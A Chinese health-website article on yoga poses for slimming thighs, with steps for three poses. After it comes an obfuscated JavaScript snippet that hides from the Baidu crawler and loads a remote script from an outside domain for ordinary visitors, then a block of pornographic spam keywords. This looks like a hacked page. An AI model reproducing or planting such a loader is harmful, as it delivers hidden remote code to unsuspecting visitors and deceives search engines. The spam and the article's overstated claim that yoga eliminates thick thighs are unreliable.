當前位置:首頁 > 健康 > 運動健身 > 正文

怎么用瑜伽消滅粗大腿

2017-04-14 14:59:20  來源:360常識網(wǎng)   熱度:
導(dǎo)語:生活水平越來越好,人們都很注意保養(yǎng)與養(yǎng)生。而且愛美的女生會越來越注意腿粗的問題,也是想盡各種辦法。目前瑜伽是老少皆宜都很喜歡的一種

生活水平越來越好,人們都很注意保養(yǎng)與養(yǎng)生。而且愛美的女生會越來越注意腿粗的問題,也是想盡各種辦法。目前瑜伽是老少皆宜都很喜歡的一種鍛煉也是保持身體體型的方法之一深受人們的歡迎。那么如何消滅大粗腿呢,瑜伽可以幫你消除一切顧慮,而且堅持鍛煉會消滅大粗腿的。

瑜伽消滅大粗腿的方法有很多,有單腿坐前折疊,單腿坐側(cè)轉(zhuǎn),單腿前屈伸展式,側(cè)身展式等都有很好的消滅粗腿的效果。只有按照步驟認真仔細的學(xué)很快就會消滅粗腿的。

半蓮花脊柱扭轉(zhuǎn)做法:1.坐立,雙腿向前伸直,彎曲左腿放在右大腿上,腳心朝上。2.呼氣,左臂前伸,左手抓住右腳腳趾,上身轉(zhuǎn)向右邊,將右臂收向背部,將右手攬住腰的左側(cè)。3.吸氣,然后呼氣,同時頭部和上身軀干盡量向右轉(zhuǎn),保持20秒自然呼吸,換另一側(cè)。

三角轉(zhuǎn)動式做法:1.自然站立,兩腳寬闊分開;深吸氣,舉手臂與地面平行,雙膝伸直,右腳向右轉(zhuǎn)九十度,左腳轉(zhuǎn)六十度。2.呼氣,上體左轉(zhuǎn),彎曲軀干向下,右手放于兩腳之間;右手臂與左手臂呈一豎線,雙眼看左手指尖。3.伸展雙肩及肩胛骨,保持10~30秒;吸氣,先收雙手,再收軀干,最后兩腳收回。然后換方向進行。注:兩側(cè)保持的時間應(yīng)一致。

貓弓背式做法:1.跪下,后臀部坐在腳后跟上,上體保持正直,雙手自然地放在腿上,肩、手臂放松。2. 抬起臀部,雙膝跪地,雙手與肩同寬,支撐地面。3.吸氣,抬頭,塌腰,塌背,臀部向上翹起。保持5~10秒。4.呼氣,低頭,脊柱呈弓形,拱背,保持5~10秒。注:重復(fù)做5~10次,放松休息。

長時間久坐的人,一般都是腿部缺乏鍛煉而且不愛運動肉松弛脂肪多等原因?qū)е碌摹K圆皇且粫r半會能消滅的,要持之以恒。瑜伽不僅可以調(diào)養(yǎng)心理因素,而且也有保養(yǎng)與養(yǎng)生保持一個好體型等作用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产亚洲AV麻豆不卡| 中文字幕亚洲精品无码| 国产午夜精品一区理论片飘花| 国产精品1000夫妇激情啪发布| 99re热精品视频国产免费| 久久精品中文无码资源站| 久久精品中文字幕有码| 国产麻豆剧果冻传媒免精品费网站 | 国产成人精品福利网站在线观看 | 国产精品内射婷婷一级二| 精品国产日韩亚洲一区在线| 四虎国产精品永久在线播放 | 久久久999国产精品| 中文字幕精品在线| 香蕉精品高清在线观看视频| 日韩精品一线二线三线优势| 2021国内精品久久久久精免费| 午夜精品久久久久久| 国内精品一区二区三区最新| 国产精品成人免费福利| 久久精品中文字幕无码绿巨人| 免费精品一区二区三区第35| 北条麻妃久久99精品| 亚洲国产小视频精品久久久三级| 国产精品久久99| 久久久无码精品亚洲日韩蜜臀浪潮| 国精品无码一区二区三区左线| 国产麻豆剧传媒精品国产免费| 久久久久99这里有精品10| 2021国产精品自在拍在线播放| 午夜不卡久久精品无码免费| 亚洲av无码成人精品区在线播放 | 国产成人精品男人的天堂网站| 久久棈精品久久久久久噜噜| 久久青草国产精品一区| 国产亚洲精品自在线观看| 国产精品尹人在线观看| 一区二区精品视频| av无码精品一区二区三区四区| 精品一区二区三区中文| 国产精品久久久久久久伊一|